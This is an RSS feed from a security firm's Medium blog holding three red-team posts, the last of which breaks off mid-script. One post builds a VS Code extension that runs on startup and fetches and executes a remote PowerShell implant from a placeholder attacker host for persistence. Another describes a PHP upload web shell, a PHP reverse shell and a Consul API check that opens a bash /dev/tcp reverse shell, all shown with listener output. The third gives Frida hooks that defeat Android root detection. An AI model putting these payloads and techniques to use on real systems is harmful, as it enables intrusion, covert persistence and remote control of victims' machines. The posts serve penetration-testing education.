<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Secarma Labs - Medium]]></title>
        <description><![CDATA[The Latest Cyber Security Research From Secarma Consultants - Medium]]></description>
        <link>https://medium.com/secarmalabs?source=rss----7dd691680f4a---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Secarma Labs - Medium</title>
            <link>https://medium.com/secarmalabs?source=rss----7dd691680f4a---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 04:56:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/secarmalabs" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Using Visual Studio Code Extensions for Persistence]]></title>
            <link>https://medium.com/secarmalabs/using-visual-studio-code-extensions-for-persistence-a65c940b7ea6?source=rss----7dd691680f4a---4</link>
            <guid isPermaLink="false">https://medium.com/p/a65c940b7ea6</guid>
            <category><![CDATA[persistence]]></category>
            <category><![CDATA[visual-studio-code]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Charley Célice]]></dc:creator>
            <pubDate>Mon, 13 Jul 2020 13:49:35 GMT</pubDate>
            <atom:updated>2020-07-13T13:49:34.918Z</atom:updated>
            <content:encoded><![CDATA[<p>With Visual Studio Code being <a href="https://insights.stackoverflow.com/survey/2019#development-environments-and-tools">the tool of choice in most development environments</a> (I know, I love it!), it only makes sense to look at leveraging it from an offensive security perspective. This post discusses the basics on how to leverage VS Code extension capabilities to achieve <a href="https://attack.mitre.org/tactics/TA0003/">persistence</a> on a Windows system and provides further thoughts on possible future work.</p><p>The scenario focuses on having compromised a Windows machine that is mainly used as a development environment, and thus likely to have VS Code installed. So let’s dive right into it.</p><h3>Creating the Extension</h3><p>Plenty of articles out there are available that go into various levels of depth on how to create your first VS Code extension, so I’ll keep it simple.</p><p>First, you’ll need Visual Studio Code (obviously!), but also NodeJS and NPM installed on your development machine, available at:</p><ul><li><a href="https://code.visualstudio.com/">https://code.visualstudio.com/</a></li><li><a href="https://nodejs.org/en/download/">https://nodejs.org/en/download/</a></li></ul><p>You’ll then need to use NPM to install <a href="https://yeoman.io/">Yeoman</a> and the <a href="https://www.npmjs.com/package/generator-code">specific generator</a> to build VS Code extensions:</p><pre>$ npm install -g yo</pre><pre>$ npm install -g yo generator-code</pre><p>Once that’s done, you can then generate your first extension project with:</p><pre>$ yo code</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*43HnKXe98k7jmM5FdWyg0A.png" /><figcaption>Visual Studio Code Extension Generator</figcaption></figure><p>After going through the initial questions for your project (as shown above), you’ll then be able to access and open your project files within VS Code:</p><pre>$ cd code-persistence<br>$ code .</pre><p>From thereon and for the sake of this article, we’ll focus on the most useful files at hand in the newly created project environment:</p><ul><li>.\package.json</li><li>.\src\extension.ts (or .\src\extension.js if you’ve selected JavaScript)</li></ul><p>Within package.json, the two most interesting sections are:</p><ul><li>activationEvents— The event(s) that will trigger the extension, for instance when VS Code is starting up (more on the various <a href="https://code.visualstudio.com/api/references/activation-events">Activation Events</a> below)</li><li>commands — The command(s) provided to the user, essentially the function called within .\src\extension.ts</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X8sBS9xr4NUfx3ofwpcfbw.png" /><figcaption>Default Contents in ‘package.json’</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uVvb0eFWCSWaB160ysqsxQ.png" /><figcaption>Default Contents in ‘extension.ts’</figcaption></figure><p>As seen above, after we’ve generated the new project skeleton, the activationEvents will be set to onCommand:code-persistence.helloWorld, and the commands to code-persistence.helloWorld with a title of Hello World. This essentially means that once the extension is loaded within VS Code, it will simply wait for the Hello World command to be invoked, which in turn will execute the relevant function within .\src\extension.ts. In this case, showInformationMessage will be called which simply shows a notification message to the user.</p><p>To test this, we can simply press F5 to begin debugging the application. This will open a new VS Code window with our extension loaded. After opening the command palette with CTRL+SHIFT+P, we can run the Hello World command and observe its output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HRE1bjUMZzw4sztolSzIyQ.png" /><figcaption>Debugging our Extension and Executing the ‘Hello World’ Command</figcaption></figure><h4>Activation Events</h4><p>Now that we have a simple extension project, let’s dive just a wee bit into the available <a href="https://code.visualstudio.com/api/references/activation-events">Activation Events</a>. Looking at the <a href="https://code.visualstudio.com/api/references/activation-events">VS Code API references</a>, there are several possible events that can be triggered to invoke extension commands:</p><ul><li>onLanguage — Triggered when a file containing code of a specific language (e.g. Rust, Python, etc.) is opened</li><li>onCommand — As I’ve demonstrated above, upon executing a specific command that has been defined</li><li>onDebug — With the two fine-grained onDebugInitialConfigurations and onDebugResolve events, this event is triggered upon starting a debugging session</li><li>workspaceContains — For when a folder that contains a specific file pattern is opened</li><li>onFileSystem — Whenever a file or folder from a specific scheme (e.g. sftp, ssh, etc.) is read</li><li>onView — This event will be triggered when a specific view is expanded (see the <a href="https://code.visualstudio.com/api/extension-guides/tree-view">Tree View API reference</a>)</li><li>onUri — VS Code supports URL handlers (e.g. vscode:// and vscode-insiders://), and this event will be triggered for those extension-specific URIs</li><li>onWebviewPanel — Triggered when a specific webview is restored (see the <a href="https://code.visualstudio.com/api/extension-guides/webview">Webview API reference</a>)</li><li>onCustomEditor — For when VS Code creates a custom editor (see the <a href="https://code.visualstudio.com/api/extension-guides/custom-editors">Custom Editor API reference</a>)</li><li>* — Event triggered upon VS Code starting up</li><li>onStartupFinished — Similar to * except it will trigger with a delay once VS Code has started up</li></ul><p>In the context of this post — which is establishing persistence on a Windows system following an initial foothold — I do see each event having their place in different scenarios. However, for now, and for the sake of simplicity, let’s just focus on executing our extension as VS Code is starting up (*) and see what can be achieved in practice.</p><h3>Editing our Extension to Achieve Persistence</h3><p>As I’ve demonstrated above, in its current state our extension will mainly await for the Hello World command to be invoked before doing anything meaningful. First, let’s modify package.json so that we have: 1) a more meaningful name for our command; and 2) invoke this command straight upon VS Code starting up:</p><pre>&quot;activationEvents&quot;: [<br>    &quot;<strong>*</strong>&quot;<br>],<br>&quot;main&quot;: &quot;./out/extension.js&quot;,<br>&quot;contributes&quot;: {<br>    &quot;commands&quot;: [<br>        {<br>            &quot;command&quot;: &quot;<strong>code-persistence.install</strong>&quot;,<br>            &quot;title&quot;: &quot;<strong>Install Persistence</strong>&quot;<br>        }<br>    ]</pre><p>In bold above are the modifications I made to the original package.json file within the code-persistence project. Next, let’s modify .\src\extension.ts as follows (note I’ve deleted comments, etc. for clarity):</p><pre>import * as vscode from &#39;vscode&#39;;</pre><pre>export function activate(<em>context</em>: <em>vscode</em>.<em>ExtensionContext</em>) {</pre><pre>    let disposable = <em>vscode</em>.<em>commands</em>.registerCommand(&#39;code-persistence.install&#39;, () =&gt; {</pre><pre><em>        vscode</em>.<em>window</em>.showInformationMessage(&#39;This will be run upon VS Code starting up (*)...&#39;);<br>    });</pre><pre><em>    context</em>.subscriptions.push(disposable);<br>    <em>vscode</em>.<em>commands</em>.executeCommand(&#39;code-persistence.install&#39;);<br>}</pre><pre>export function deactivate() {}</pre><p>Similarly to the original code, a notification window will be displayed to the user. However, this will now be done through the code-persistence.install command, which will be invoked upon VS Code starting up. From here, all we need to do is: 1) find a way to execute system commands; 2) leverage this to remotely fetch and execute a malicious script (let’s say a PowerShell <a href="https://github.com/nettitude/PoshC2">PoshC2</a> implant); and 3) package our extension and demonstrate how to install it on our compromised machine that has VS Code available.</p><h4>Executing System Commands</h4><p>Since our extension environment has access to NodeJS libraries, the child_process module (<a href="https://nodejs.org/api/child_process.html">https://nodejs.org/api/child_process.html</a>) is a good candidate to execute shell commands on the local system.</p><p>Here is an example on how this could be achieved:</p><pre>const cp = require(&#39;<strong>child_process</strong>&#39;);<br>let cmd = &#39;<strong>whoami</strong>&#39;;</pre><pre>cp.exec(<strong>cmd</strong>, (<em>err</em>: <em>string</em>, <em>stdout</em>: <em>string</em>, <em>stderr</em>: <em>string</em>) =&gt; {<br>    <strong>console.log(stdout)</strong>;<br>    if (<em>err</em>) {<br>        <em>console</em>.log(err);<br>    }<br>});</pre><p>In the above snippet, we import the child_process library, run the whoami command (which should return whichever user VS Code is running as), log the output within the debug console through console.log(), and add some error handling into the mix. And surely enough, running/debugging our extension logs the output of that command within the VS Code debug console:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*6gmCUYY1YLwhzzWn3r8Eqg.png" /><figcaption>Shell Command Execution through NodeJS ‘child_process’</figcaption></figure><p>With that done, we can now look at remotely fetching and executing our PowerShell implant, our first step into installing persistence.</p><h4>Fetch and Execute a PowerShell Script</h4><p>As a first step, let’s expand our extension so rather than running a dummy command it loads and executes a local PowerShell script. Assume the following simple MyScript.ps1:</p><pre>Write-Host &quot;Locked and loaded.&quot;</pre><p>Now let’s modify our extension to reflect the following (note once again I’ve taken the simpler approach and recommend looking into spawn rather than exec in the long run):</p><pre>const cp = require(&#39;<strong>child_process</strong>&#39;);<br>let script = &#39;<strong>C:\\tools\\code\\code-persistence\\MyScript.ps1</strong>&#39;;<br>let <strong>cmd </strong>= &#39;<strong>powershell.exe -ExecutionPolicy Bypass -File &#39; + script</strong>;</pre><pre>cp.exec(<strong>cmd</strong>, (<em>error</em>: <em>string</em>, <em>stdout</em>: <em>string</em>) =&gt; {<br>    <strong><em>console</em>.log(<em>stdout</em>);</strong><br>    if (<em>error</em>) {<br>        <em>console</em>.log(<em>error</em>);<br>    }<br>});</pre><p>Upon running our newly modified extension, we get our expected output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*gLlKNmu3az46La71QDxbGA.png" /><figcaption>Local PowerShell Script Execution</figcaption></figure><p>Or we can simply use PowerShell’s web client to remotely fetch and execute our script:</p><pre>const cp = require(&#39;<strong>child_process</strong>&#39;);<br>let script = &#39;<strong>http://&lt;attacker_host&gt;/MyScript.ps1</strong>&#39;;<br>let <strong>cmd </strong>= <strong>`powershell.exe -nop -w hidden -c \&quot;IEX (New-Object Net.Webclient).downloadstring(\&#39;${script}\&#39;)&quot;`</strong>;</pre><pre>cp.exec(<strong>cmd</strong>, (<em>error</em>: <em>string</em>, <em>stdout</em>: <em>string</em>) =&gt; {<br>    <strong><em>console</em>.log(<em>stdout</em>);</strong><br>    if (<em>error</em>) {<br>        <em>console</em>.log(<em>error</em>);<br>    }<br>});</pre><p>Alternatively, we can look at leveraging NodeJS’ native http(s) modules to fetch a remote custom implant, for example in environment where PowerShell and/or its web client is more likely to get detected. Here is an example fetching a remote base64-encoded payload; I’ll leave the exercise of expanding this bit up to the reader:</p><pre>var https = require(&#39;https&#39;);</pre><pre>var home = {<br>    host: &#39;&lt;attacker_host&gt;&#39;,<br>    path: &#39;/payload.txt&#39;,<br>    port: 443<br>};</pre><pre>let cb = function(<em>resp</em>: { on: (<em>arg0</em>: <em>string</em>, arg1: (<em>chunk</em>: <em>any</em>) =&gt; <em>void</em>) =&gt; <em>void</em>; }) {<br>    var payload = &#39;&#39;;</pre><pre><em>    resp</em>.on(&#39;data&#39;, function(<em>chunk</em>) {<br>        payload += chunk;<br>    });</pre><pre><em>    resp</em>.on(&#39;end&#39;, function() {<br>        const cp = require(&#39;child_process&#39;);<br>        let cmd = &#39;powershell.exe -exec bypass -Noninteractive -windowstyle hidden -e &#39; + payload;<br>     <br>        cp.exec(cmd, (<em>error</em>: <em>string</em>, <em>stdout</em>: <em>string</em>) =&gt; {<br>            console.log(stdout);<br>            if (<em>error</em>) {<br>               <em>console</em>.log(<em>error</em>);<br>            }<br>         });<br>    });<br>};</pre><pre>https.request(home, cb).end();</pre><h4>Package and Install the Extension</h4><p>To end this section, let’s assume the following final extension, which will establish persistence through a <a href="https://github.com/nettitude/PoshC2">PoshC2</a> implant:</p><pre>import * as vscode from &#39;vscode&#39;;</pre><pre>export function activate(<em>context</em>: <em>vscode</em>.<em>ExtensionContext</em>) {</pre><pre>    let disposable = <em>vscode</em>.<em>commands</em>.registerCommand(&#39;code-persistence.install&#39;, () =&gt; {</pre><pre>        const cp = require(&#39;child_process&#39;);<br>        let cmd = &#39;powershell -exec bypass -Noninteractive -windowstyle hidden -e &lt;redacted&gt;&#39;;</pre><pre>        cp.exec(cmd, (<em>error</em>: <em>string</em>, <em>stdout</em>: <em>string</em>) =&gt; {});<br>    });</pre><pre><em>    vscode</em>.<em>commands</em>.executeCommand(&#39;code-persistence.install&#39;);<br>}</pre><pre>export function deactivate() {}</pre><p>We can package our extension with (note you will need to specify a publisher within package.json as well as edit the default README.md file before you can package your extension:</p><pre>$ vsce package</pre><p>Which will create a vsix file (in this case code-persistence-&lt;version&gt;.vsix). From our compromised host and if VS Code is present, we should then be able to upload our extension and run the following command to install it:</p><pre>$ code --install-extension code-persistence.vsix<br>Installing extensions...<br>Extension &#39;code-persistence-0.0.1.vsix&#39; was successfully installed.</pre><p>In this particular case, once the extension is installed, and the relevant event triggered (in this case whenever VS Code is started), then we should get our implant to call back home:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z5pLWSVnPeG1Cn6L5vinFg.png" /><figcaption>PoshC2 Implant on VS Code Startup</figcaption></figure><p>This is what the extension looks like in VS Code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*eUAz9bdsCe3raywDPPJqRA.png" /><figcaption>Malicious VS Code Extension Details</figcaption></figure><p>Not super slick at this stage, however, it shouldn’t take an awful amount of effort to make it look decent and blend in-between multiple other extensions.</p><p>And this is what it looks like say in Process Explorer from a detection perspective once the extension is launched:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZWTV5jetmUsGVD10vh5AoQ.png" /><figcaption>Process Explorer in Windows Sandbox</figcaption></figure><p>Which is expected since we’re in this case just calling PowerShell from cmd.exe. All in all, this wouldn’t be especially stealthy, and I would hope automated tooling captured such obvious commands. However, this is also what my ‘benign’ environment looks like on a bad day, so I think it’s safe to say that this would blend in quite well:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/302/1*buDQ1lcTf0NennU2V7nnAA.png" /></figure><p>One of the key things I’ve learned from Red Team experience is situational awareness. Aside from your automated detection mechanisms which may be bypassed in many ways, I think I’ll be likely to use such a technique to persist on a Windows host in certain circumstances if that meant it would blend in well with the rest of the system.</p><h3>Final Thoughts</h3><p>What I’d like to look into as a follow up to this post would be options to directly load and call dynamic libraries, for example using <a href="https://github.com/node-ffi/node-ffi">node-ffi,</a> which would be more current with the prevalence of C# tooling over PowerShell.</p><p>Since there are no particular automated checks in place when publishing an extension to the <a href="https://marketplace.visualstudio.com/vscode">VS Code Marketplace</a>, I’d also like to look into whether there is an additional attack vector that could be used here, for example as part of a spear phishing campaign.</p><p>So stay tuned!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a65c940b7ea6" width="1" height="1" alt=""><hr><p><a href="https://medium.com/secarmalabs/using-visual-studio-code-extensions-for-persistence-a65c940b7ea6">Using Visual Studio Code Extensions for Persistence</a> was originally published in <a href="https://medium.com/secarmalabs">Secarma Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Escaping Restricted Shell through Insecure Consul API]]></title>
            <link>https://medium.com/secarmalabs/escaping-restricted-shell-through-insecure-consul-api-d195df2f7b55?source=rss----7dd691680f4a---4</link>
            <guid isPermaLink="false">https://medium.com/p/d195df2f7b55</guid>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[consul]]></category>
            <dc:creator><![CDATA[Charley Célice]]></dc:creator>
            <pubDate>Tue, 30 Jun 2020 13:00:29 GMT</pubDate>
            <atom:updated>2020-06-30T13:00:29.150Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*31HyNQsuFsA-fbLt8ZHwIA.jpeg" /></figure><p>Escaping jailed or restricted environments comes with its own set of challenges. However, more often than not, there’s going to be a way in.</p><p>In this post, we describe the steps taken to compromise a Red Hat web server through a file upload utility and into a restricted shell environment. We then discuss the techniques used to escape said jail through the insecure configuration of a Consul API.</p><h3>How We Got There</h3><p>Allowing file upload always brings additional risks to an application. Most commonly, for an attacker to attempt to write and execute code on the system.</p><p>The application in scope included a function which allowed authenticated users to upload PHP scripts to certain folders. Whilst the default directory blacklisted dangerous PHP methods such as “system” or “exec”, others didn’t. Thus, it was possible to circumvent mitigation measures in place to gain remote code execution on the host by creating files in other, non-blacklisted directories.</p><p>Firstly, an initial enumeration exercise was performed, where custom PHP scripts were uploaded to list the contents of files and directories, as well as read local files. The following code snippets show how this was achieved:</p><pre>&lt;?php<br>$dir = $_GET[&quot;d&quot;];<br>$f = scandir($dir);<br>print_r($f);<br>?&gt;</pre><pre>&lt;?php<br>echo show_source($_GET[&quot;f&quot;]);<br>?&gt;</pre><p>Once successfully uploaded, it was possible to enumerate the local file system, as shown below:</p><pre>HTTP/1.1 200 OK […] Array <br>( <br>[0] =&gt; . <br>[1] =&gt; .. <br>[2] =&gt; xxx.phph <br>[3] =&gt; xxx.phph <br>[4] =&gt; xxx.php <br>[5] =&gt; xxx.phph <br>[6] =&gt; xxx.phph <br>[7] =&gt; xxx.php <br>[8] =&gt; xxx_xxx.php <br>[10] =&gt; xxx.phph <br>[11] =&gt; xxx.php <br>[12] =&gt; xxx.php <br>[14] =&gt; xxx.phph <br>[15] =&gt; xxx.php <br>[16] =&gt; xxx.php <br>[17] =&gt; xxx.php <br>)</pre><p>We then attempted to execute other PHP functions within this default directory, including “system”, “exec”, “eval” and much more, which would mean the possibility to execute shell commands onto the host. While we could not achieve this within the default directory scripts were uploaded into, it was however possible to write files to other locations, for example, using the following code:</p><pre>&lt;? <br>$file = new SplFileObject($_GET[&#39;f&#39;], &#39;w&#39;); <br>$file-&gt;fwrite(&#39;&lt;?php echo \&#39;Test write\&#39;; ?&gt;&#39;); <br>?&gt;</pre><p>With that in mind, we attempted to create files containing malicious commands within other directories on the host to find non-blacklisted ones. After a few attempts, we found that one specific directory was not blacklisted. Hence, it was possible to directly execute shell commands within this folder. The following code snippet was initially used to create a file within this vulnerable folder, which would then be used to gain remote code execution on the host:</p><pre>&lt;? <br>$file = new SplFileObject(&#39;/xxx-xxx/xxx/xxx/xxx/phpsock.php&#39;, &#39;w&#39;); <br>$file-&gt;fwrite(&#39;&lt;?php $sock=fsockopen(&quot;&lt;attacker_ip&gt;&quot;,80);exec(&quot;/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&quot;); ?&gt;&#39;); <br>?&gt;</pre><p>The figure below shows the reverse shell being received on our end, along with some commands executed, following execution of the above script:</p><pre>$ sudo nc -lvp 80 <br>listening on [any] 80 ... <br>connect to [x.x.x.x] from xxx [x.x.x.x] 44602 <br>sh: no job control in this shell <br>sh-3.2$ echo /* <br>echo /* <br>/bin /cgi-bin /configs /dev /etc /file_list /hardlink.ini /lib /log /prod_tmp /site_dict /tmp /usr /vhosts <br>sh-3.2$ exit <br>exit <br>exit</pre><p>As can be seen above, we were able to gain unauthorised access to the server and receive a shell. However, and as we will show in the remaining of this post, we had heavily restricted access, due to a specific “chroot” configuration. Only a limited amount of commands, folders, and files was available. The “/proc” directory also was not available which stopped us listing processes altogether.</p><p>To get out of this jail, we attempted a few things. For instance, it was possible to upload statically-compiled binaries that would be executed on the host. For example, several Linux binaries were uploaded, such as “ls”, “chmod”, “netcat”, “nmap”, and others, which greatly helped to enumerate local files, network services, and other hosts within the internal network. This helped demonstrate that even though the isolated environment contained a limited selection of command line utilities, it was still possible to upload additional ones.</p><p>Local system information was enumerated using the “uname” binary, using the method described above. Knowing the different kernel versions, local virtual machines were created with the kernel identified, and potential kernel exploits researched. However, this did not lead to any successful exploitation, as in most cases the kernel was too recent, or access to folders and files outside of the chroot was needed for the exploits to work.</p><p>Local files on the host were reviewed to discover potential vectors of attack and gather any pieces of information that could help in other attacks. This included (amongst other things):</p><ul><li>Searching for SUID/SGID binaries that could be exploited;</li><li>Scheduled tasks;</li><li>Looking for credentials that could be used to log onto other services;</li><li>Weak files and folders permissions or scripts that could be written to and would be executed with various privileges; and</li><li>Review and escape attempts specific to “chroot” (for example as seen in <a href="https://github.com/earthquake/chw00t">https://github.com/earthquake/chw00t</a>).</li></ul><p>Finally, local and remote network services were enumerated. This included routing the traffic from the attacking machine through to the internal network, and enumerating hosts and ports on the target. This was successful in identifying weak permissions on an API that led to command execution outside of the restricted environment, but also on other hosts within the internal network. For this method, the “Consul Agent” API was exploited, which we describe in the next section.</p><h3>Unauthenticated Consul API Remote Code Execution</h3><p>Following exploitation of the uploaded vulnerability described above, a Metasploit (<a href="https://www.metasploit.com/">https://www.metasploit.com</a>) meterpreter shell was uploaded. It then became possible to easily upload and download files, scan the internal network, and setup routes. A route from our testing infrastructure to the target internal network was added through Metasploit via the meterpreter session obtained. Further enumeration then revealed a local HTTPS service running on port 8443. To browse to this service, and gain more insight into its purpose, the consultant used the command access to set up a port forward. With the port forward in place, the consultant was then able to browse to the HTTPS server, as seen below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*uOeh2F9P8i_O9ompajwH8w.png" /></figure><p>Highlighted above shows the server was running a “Consul Agent” and was consequently a node in a “Consul Cluster”. After reviewing the documentation, we installed Consul CLI client and attempted to communicate with the API. This was successful and meant that we were able to gain further information about the internal structure of the cluster, as well as a better understanding of the underlying infrastructure. Here are the commands that we used along with some redacted output:</p><pre>$ export CONSUL_HTTP_SSL=true <br>$ export CONSUL_HTTP_SSL_VERIFY=false <br>$ ./consul members -http-addr=https://&lt;redacted&gt;:4321 <br>Node Address Status Type Build Protocol DC Segment <br>x.x.x.x:8301 alive server 0.7.1 2 yy &lt;all&gt; <br>x.x.x.x:8301 alive server 0.7.1 2 yy &lt;all&gt; <br>x.x.x.x:8301 alive server 0.7.1 2 yy &lt;all&gt; <br>x.x.x.x:8301 alive client 0.7.1 2 yy &lt;default&gt; <br>x.x.x.x:8301 alive client 0.7.1 2 yy &lt;default&gt;<br>[…]</pre><p>The output above shows systems that were part of the Consul cluster. This sort of information is invaluable to an attacker as it provides them with an accurate picture of the network structure, which could be leveraged to target key systems such as databases or, in this case, Consul servers.</p><p>As we were now able to run commands via the CLI to the cluster node, the next step was to attempt to run commands on the nodes, within the execution context assigned to them and potentially escape the isolated jail environment. At first, the “-exec” argument was tried but was found to be disabled. Review of Consul’s documentation however revealed that it was still possible to execute commands by registering services to the node using the API. To do so, the consultant used Burp Suite (<a href="https://portswigger.net/burp">https://portswigger.net/burp</a>) to craft a request to the proxied API. Here is an example of a request we sent:</p><pre>PUT /v1/agent/check/register HTTP/1.1 <br>Host: &lt;REDACTED&gt;:4321 <br>[…] <br>{ <br>&quot;id&quot;: &quot;shell1&quot;, <br>&quot;name&quot;: &quot;shell1&quot;, <br>&quot;script&quot;: &quot;/bin/bash -i &gt;&amp; /dev/tcp/&lt;attacker_ip&gt;/443 0&gt;&amp;1&quot;, <br>&quot;interval&quot;: &quot;60s&quot;, <br>&quot;timeout&quot;: &quot;5s&quot; <br>}</pre><p>As seen above, the “script” parameter contains the command we wanted to execute. The script was set to establish a reverse shell connecting back to our attacking machine every 60 seconds. Shortly after setting up a listener on our end, the reverse shell connected back, evidencing the successful jail escape and compromise of the server. This can be observed below:</p><pre>$ sudo ncat -nvlp 443 <br>Ncat: Version 7.60 ( <a href="https://nma.org/ncat">https://nma.org/ncat</a> ) <br>Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one. <br>Ncat: Listening on :::443 <br>Ncat: Listening on 0.0.0.0:443 <br>Ncat: Connection from &lt;victim_ip&gt;. <br>Ncat: Connection from &lt;victim_ip&gt;:58834. <br>bash: no job control in this shell <br>[consul@&lt;hostname&gt; log]$ hostname <br>hostname <br>&lt;hostname&gt;<br>[consul@&lt;hostname&gt; log]$ id <br>id <br>uid=707(consul) gid=707(consul) groups=707(consul),520(ssl) <br>[consul@&lt;hostname&gt;log]$ whoami <br>whoami <br>consul <br>[consul@&lt;hostname&gt;log]$ uname -a <br>uname -a <br>Linux &lt;hostname&gt; […] 2018 x86_64 x86_64 x86_64 GNU/Linux <br>[consul@&lt;hostname&gt;log]$ cat /etc/passwd <br>cat /etc/passwd <br>root:x:0:0:root:/root:/bin/bash <br>[…]</pre><p>As seen above, our shell connected back but this time, we were out of the restricted shell environment, with standard user privileges, in this case as the “consul” user. From then on, we were able to perform further enumeration and lateral movement.</p><h3>Conclusions</h3><p>We hope this gave ideas to some of you when coming across these technologies. Concerning the Consul API, there is a default configuration which allows anyone who can access the node or route traffic through it to leverage the API to gather information on the cluster or change settings.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d195df2f7b55" width="1" height="1" alt=""><hr><p><a href="https://medium.com/secarmalabs/escaping-restricted-shell-through-insecure-consul-api-d195df2f7b55">Escaping Restricted Shell through Insecure Consul API</a> was originally published in <a href="https://medium.com/secarmalabs">Secarma Labs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing Android’s RootBeer Library (Part 2)]]></title>
            <link>https://medium.com/secarmalabs/bypassing-androids-rootbeer-library-part-2-30beb0676c0b?source=rss----7dd691680f4a---4</link>
            <guid isPermaLink="false">https://medium.com/p/30beb0676c0b</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[root-android-phone]]></category>
            <category><![CDATA[android]]></category>
            <dc:creator><![CDATA[Elvin Gentiles]]></dc:creator>
            <pubDate>Mon, 15 Jun 2020 08:15:12 GMT</pubDate>
            <atom:updated>2020-06-15T08:15:12.296Z</atom:updated>
            <content:encoded><![CDATA[<p>In the first part of this post, I discussed one method to bypass RootBeer Library through code manipulation. However, installing and running a modified/patched application is not always possible. This happens when an application contains protections such as anti-tampering and/or integrity checks.</p><p>If patching an application is not working, then how can we change an application’s behaviour? In this post, I’ll discuss how to change an application’s process during runtime through dynamic instrumentation using <a href="https://frida.re/"><strong>Frida</strong></a>. The goal of this post is the same, and that is to bypass all the root-detection checks used by RootBeer library.</p><p>Let’s start by identifying the functions responsible for the root-detection checks used by RootBeer. As you can see below, the <strong><em>doInBackground()</em></strong> function of the <strong>RootCheckTask</strong> (<em>com.scottyab.rootbeer.sample.CheckRootTask</em>) class can be used to identify the different functions/checks used by the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yKuS4LbyMsuQfllgPpOHjg.png" /><figcaption>A Snippet of the Different Functions Used by RootBeer</figcaption></figure><p>The goal here is to “hook” these functions by injecting a JavaScript code into the application’s process, and change their return value to “<strong>false</strong>”.</p><p>As a simple example, let’s force RootBeer to give the “<strong>NOT ROOTED</strong>” result. This can be done with the following JS code to hook the <strong><em>isRooted()</em></strong> function and change its return value to “<strong>false</strong>”.</p><pre>Java.perform(function(){<br>    // Create an instance of the RootBeer class<br>    var RootBeer = Java.use(&quot;com.scottyab.rootbeer.RootBeer&quot;);<br>    <br>    // Hook the isRooted() function<br>    RootBeer.isRooted.overload().implementation = function(){<br>        // Change the return value to &quot;false&quot;<br>        return false<br>    };<br>});</pre><p>Once the script has been saved, execute Frida and load the script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*kdOhRQ5PDOHiwXFGBS712A.png" /><figcaption>Executing Frida and Loading the JS Script</figcaption></figure><p>Injecting the JS code into RootBeer’s process resulted into the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DfHUKInjjqTcXb61iMpfbA.png" /><figcaption>Result Before and After Using the Frida Script</figcaption></figure><p>If we want to bypass all the checks, we need to hook all the relevant functions and force their return value to “<strong>false</strong>”. The following quick and dirty script can be used to obtain the result that we’re after:</p><pre>Java.perform(function(){<br>    var RootBeer = Java.use(&quot;com.scottyab.rootbeer.RootBeer&quot;);<br>    var Utils = Java.use(&quot;com.scottyab.rootbeer.util.Utils&quot;);   <br>    <br>    RootBeer.detectRootManagementApps.overload().implementation = function(){<br>        return false;<br>    };<br>    <br>    RootBeer.detectPotentiallyDangerousApps.overload().implementation = function(){<br>        return false;<br>    };<br>    <br>    RootBeer.detectTestKeys.overload().implementation = function(){<br>        return false;<br>    };<br>    <br>    RootBeer.checkForBusyBoxBinary.overload().implementation = function(){<br>        return false;<br>    };<br>    <br>    RootBeer.checkForSuBinary.overload().implementation = function(){<br>        return false;<br>    };<br>    <br>    RootBeer.checkSuExists.overload().implementation = function(){<br>        return false;<br>    };<br>    <br>    RootBeer.checkForRWPaths.overload().implementation = function(){<br>        return false;<br>    };<br>    <br>    RootBeer.checkForDangerousProps.overload().implementation = function(){<br>        return false;<br>    };<br>    <br>    RootBeer.checkForRootNative.overload().implementation = function(){<br>        return false;<br>    };<br>    